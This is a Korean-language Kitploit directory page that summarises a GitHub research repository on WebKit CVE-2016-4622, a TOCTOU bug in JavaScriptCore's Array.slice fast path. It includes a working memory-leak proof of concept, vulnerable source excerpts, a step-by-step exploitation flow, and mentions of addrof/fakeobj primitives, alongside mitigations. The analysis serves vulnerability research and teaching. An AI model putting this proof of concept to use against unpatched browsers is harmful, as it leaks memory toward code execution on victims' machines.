Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WebKit-CVE-2016-4622 — WebKit CVE-2016-4622 익스플로잇 과정을 통한 나의 여정 | Kitploit
도구/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubhdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

WebKit CVE-2016-4622 익스플로잇 과정을 통한 나의 여정

저장소 보기
2351년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

WebKit CVE-2016-4622 분석: Slice ValueOf 고속 경로 취약점 심층 분석

Array.slice 조작을 통해 메모리 노출을 가능하게 하는 WebKit JavaScript Core 취약점의 종합적인 분석 및 공격 기법

목차

  • 요약
  • 취약점 개요
  • 연구 환경 구성
  • 기술 분석
  • 공격 과정
  • 주요 발견 사항
  • 리소스 및 참고 자료

요약

이 저장소는 WebKit JavaScript Core 엔진의 심각한 메모리 노출 취약점인 CVE-2016-4622에 대한 종합적인 분석을 담고 있습니다. 이 취약점은 Array.slice() 구현의 경쟁 조건(race condition)에서 비롯되며, 인접 메모리 내용을 유출하는 데 악용될 수 있어 addrof 및 fakeobj와 같은 더 정교한 공격 프리미티브의 기반이 됩니다.

영향: 잠재적 원격 코드 실행으로 이어질 수 있는 메모리 노출 영향을 받는 구성 요소: WebKit JavaScript Core (JSC) 근본 원인: fastSlice 구현의 TOCTOU(Time-of-check-time-of-use) 취약점


취약점 개요

핵심 문제

이 취약점은 Array.slice() 메서드를 위한 WebKit의 최적화된 "고속 경로(fast path)"에 존재합니다. 엔진은 슬라이스 매개변수를 처리할 때 객체 인수를 해당 valueOf() 메서드를 호출하여 기본 값(primitive value)으로 변환합니다. 이 변환은 슬라이스 연산 매개변수가 결정된 이후에 발생하지만 실제 메모리 복사 연산 이전에 발생합니다.

공격 벡터

root@kitploit:~
var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

동작 과정:

  1. 배열 a가 100개의 요소로 생성됩니다.
  2. 슬라이스 매개변수 처리 중에 valueOf()가 호출됩니다.
  3. 악성 valueOf()가 배열을 길이 0으로 축소합니다.
  4. memcpy가 빈 배열에서 10개의 요소를 복사하려고 시도합니다.
  5. 결과: 인접 메모리가 복사되어 정보 노출이 발생합니다.

연구 환경 구성

저장소 구조

root@kitploit:~
WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

테스트 환경

바이너리: XCode 7.3.2가 설치된 VMWare OSX 10.11에서 빌드된 사전 컴파일된 JSC 바이너리 아키텍처: x86_64 Mach-O 실행 파일 디버그 기능: 종합적인 분석을 위한 심볼 + AddressSanitizer

개념 증명(PoC) 실행

root@kitploit:~
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

기술 분석

Array.slice() 메커니즘 이해

Array.slice(begin, end) 메서드는 배열의 일부에 대한 얕은 복사본을 생성합니다. 정상적인 상황에서는 다음과 같습니다:

root@kitploit:~
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

핵심 포인트: end 매개변수는 valueOf()를 통해 타입 변환을 거치며, 이로 인해 공격에 활용될 수 있는 창(window)이 생깁니다.

콜 스택 분석

취약점이 트리거되면 AddressSanitizer가 다음과 같은 호출 흐름을 캡처합니다:

root@kitploit:~
#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

스택 트레이스 분석

심층 분석: 함수별 분석

1. arrayProtoFuncSlice() - 진입점

위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

root@kitploit:~
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - 변환 트리거

위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

root@kitploit:~
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

경쟁 조건:

  • 두 번째 매개변수 {valueOf: function() { a.length = 0; return 10; }}를 처리할 때
  • value.toInteger(exec)가 우리의 악성 valueOf()를 호출합니다.
  • 우리의 함수가 배열 길이를 100에서 0으로 변경합니다.
  • 그러나 슬라이스 연산 매개변수(begin=0, end=10)는 변경되지 않은 채로 유지됩니다.

3. fastSlice() - 메모리 손상이 발생하는 지점

위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

root@kitploit:~
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

메모리 손상:

  • startIndex = 0, count = 10
  • 배열 길이는 이제 0입니다(valueOf()에 의해 변경됨).
  • memcpy가 인덱스 0부터 10개의 JSValue를 읽습니다.
  • 배열이 비어 있으므로 인접한 힙 메모리를 읽습니다.
  • 결과: 정보 노출 취약점

공격 과정

단계별 공격 흐름

  1. 설정 단계

    root@kitploit:~
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • 100개의 요소를 가진 ArrayWithDouble 타입을 생성합니다.
    • 요소는 메모리에 연속적으로 저장됩니다.
  2. 트리거 단계

    root@kitploit:~
    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • end 매개변수로 악성 객체를 사용하여 슬라이스 연산을 시작합니다.
    • 고속 경로 검증을 통과합니다(배열이 정상으로 보임).
  3. 공격 단계

    • 매개변수 변환이 valueOf()를 호출합니다.
    • 배열 길이가 0으로 축소됩니다.
    • fastSlice가 빈 배열에서 10개의 요소를 복사하려고 시도합니다.
    • 인접 메모리가 결과 배열로 유출됩니다.
  4. 결과

    root@kitploit:~
    0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
    
    • 처음 두 값: 정상적인 배열 데이터
    • 나머지 값: 유출된 인접 메모리

시각적 표현

root@kitploit:~
Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

주요 발견 사항

근본 원인 분석

구성 요소문제영향

공격 프리미티브

이 취약점은 다음을 위한 기반을 제공합니다:

  • 정보 노출: 직접적인 메모리 유출 기능
  • ASLR 우회: 잠재적인 주소 공간 레이아웃 노출
  • 타입 혼동: addrof/fakeobj 프리미티브 설정

방어 고려 사항

완화 전략:

  • memcpy 연산 전에 배열 경계를 검증합니다.
  • 고속 경로에서 일관된 상태 검사를 구현합니다.
  • 최적화된 연산에 대한 런타임 경계 검증을 추가합니다.

리소스 및 참고 자료

연구 논문 및 기사

  • JavaScript 엔진 공격 - Saelo (Phrack)
  • CVE-2016-4622 분석 - TuringH
  • 심층 분석 - null2root
  • WebKit 공격 튜토리얼

기술 문서

  • Array.slice() - MDN Web Docs
  • WebKit 소스 코드
  • JavaScript Core 아키텍처

도구 및 환경

  • 취약한 커밋: 320b1fc3f6f
  • 빌드 환경: VMWare OSX 10.11, XCode 7.3.2
  • 분석 도구: AddressSanitizer, GDB, JSC 디버그 빌드

연구 기간: 2020년 4월 11~12일
상태: 분석 완료 ✅
다음 단계: addrof/fakeobj 프리미티브를 활용한 완전한 공격 체인 개발

도구 다운로드
매개변수 처리argumentClampedIndexFromStartOrEnd의 TOCTOU처리 중 상태 변경 허용
고속 경로 로직fastSlice의 불충분한 검증경계 검사 우회
메모리 연산배열 복사 시 검사되지 않은 memcpy직접적인 메모리 노출